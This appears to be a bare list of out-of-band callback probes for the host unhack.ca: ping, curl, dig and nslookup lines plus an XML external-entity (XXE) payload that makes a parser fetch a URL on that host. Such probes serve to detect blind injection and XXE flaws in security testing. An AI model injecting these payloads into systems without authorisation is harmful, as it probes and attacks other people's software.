$ ping -c1 -p 00ef68a082993db03d82196e1c426300 unhack.ca
 

$ curl http://unhack.ca/p/ef68a082993db03d82196e1c4263
 

$ dig ef68a082993db03d82196e1c4263 @unhack.ca
 

$ dig ef68a082993db03d82196e1c4263.ns.unhack.ca
 

C:\> nslookup ef68a082993db03d82196e1c4263 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/ef68a082993db03d82196e1c4263">]>
    <foo>&xxe;</foo>